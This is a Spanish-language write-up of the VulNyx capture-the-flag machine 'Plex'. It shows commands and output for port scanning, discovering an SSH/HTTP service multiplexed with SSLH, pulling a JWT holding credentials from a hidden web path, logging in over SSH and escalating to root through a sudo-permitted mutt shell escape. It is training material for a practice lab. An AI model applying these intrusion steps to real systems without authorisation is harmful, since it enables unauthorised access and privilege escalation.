🟢 NYX - Plex
#vulnyx
#nyx
#linux
#sslh
#jwt
#mutt (sudo)
Marzo, 1, 2024 by Miguel R. (d4t4s3c)
Information
Plex es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad fácil y fue creada por el usuario d4t4s3c.
- Acceso inicial: Mediante SSLH se encuenrta un sitio web y se obtiene un JSON Web Token (JWT) con credenciales, después se reutilizan las credenciales para acceder al sistema por SSH.
- Escalada de privilegios: El usuario dispone de permisos sudo sobre un binario que permitirá convertirse en root.
Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.52
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-04 09:59 CET
Nmap scan report for 192.168.1.52
Host is up (0.000066s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
❯ nmap -sVC -p21 192.168.1.52
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-04 10:00 CET
Nmap scan report for 192.168.1.52
Host is up (0.00077s latency).
PORT STATE SERVICE VERSION
21/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
| 2048 56:9b:dd:56:a5:c1:e3:52:a8:42:46:18:5e:0c:12:86 (RSA)
| 256 1b:d2:cc:59:21:50:1b:39:19:77:1d:28:c0:be:c6:82 (ECDSA)
|_ 256 9c:e7:41:b6:ad:03:ed:f5:a1:4c:cc:0a:50:79:1c:20 (ED25519)
|_ftp-bounce: ERROR: Script execution failed (use -d to debug)
Shell (mauro)
21/TCP (SSLH)
En el nmap se observa el puerto 21 FTP
abierto, pero realmente corre un servicio SSH
.
Al intentar conectarme lo confirmo
❯ ssh -p21 root@192.168.1.52
root@192.168.1.52's password:
Al no disponer de credenciales, se descarta un ataque de fuerza bruta a SSH
y la versión de OpenSSH no es vulnerable.
Parece que emplea SSLH
para alojar múltiples servicios en un solo puerto mediante un multiplexor.
https://github.com/yrutschle/sslh
HTTP
Envió una solicitud HTTP por HEAD
y GET
confirmando que se emplea SSLH
, se llega a un servidor Apache2 por el mismo puerto
❯ curl -I 192.168.1.52:21
HTTP/1.1 200 OK
Date: Tue, 04 Mar 2025 09:15:42 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Wed, 28 Feb 2024 17:50:38 GMT
ETag: "31-61274c7cf8519"
Accept-Ranges: bytes
Content-Length: 49
Content-Type: text/html
❯ curl -sX GET 192.168.1.52:21
Hello Bro!
You only need a port to be happy...
Directory Brute Force
❯ gobuster dir -w /opt/common.txt -u http://192.168.1.52:21 -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.52:21
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/common.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 49]
/robots.txt (Status: 200) [Size: 58]
Progress: 4727 / 4727 (100.00%)
===============================================================
Finished
===============================================================
En el archivo /robots.txt
encuentro una posible ruta
❯ curl -sX GET 192.168.1.52:21/robots.txt
User-agent: *
Disallow: /9a618248b64db62d15b300a07b00580b
En la ruta /9a618248b64db62d15b300a07b00580b
encuentro una cadena que parece ser un JSON Web Token (JWT)
❯ curl -sX GET 192.168.1.52:21/9a618248b64db62d15b300a07b00580b/
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk
Hago un decoded en jwt.io a la cadena y encuentro credenciales del usuario mauro
SSH
Accedo como usuario mauro por SSH con las credenciales obtenidas
❯ sshpass -p 'm@uR0123!' ssh -p21 mauro@192.168.1.52
mauro@plex:~$ id ; hostname
uid=1000(mauro) gid=1000(mauro) grupos=1000(mauro)
plex
Privilege Escalation
El usuario mauro
puede ejecutar como root
el binario mutt con sudo
mauro@plex:~$ sudo -l
Matching Defaults entries for mauro on plex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mauro may run the following commands on plex:
(root) NOPASSWD: /usr/bin/mutt
Ejecuto el binario mutt y parece un editor, presionó ?
para acceder al panel de ayuda
mauro@plex:~$ sudo -u root /usr/bin/mutt
Presionó !
+ /bin/bash
+ ENTER
y escapo una shell como usuario root
root@plex:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
plex
Flags
Ya como usuario root
puedo leer las flags user.txt
y root.txt
root@plex:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
05135***************************
943f0***************************
Hasta aquí la resolución de la máquina Plex.
Happy Hacking!
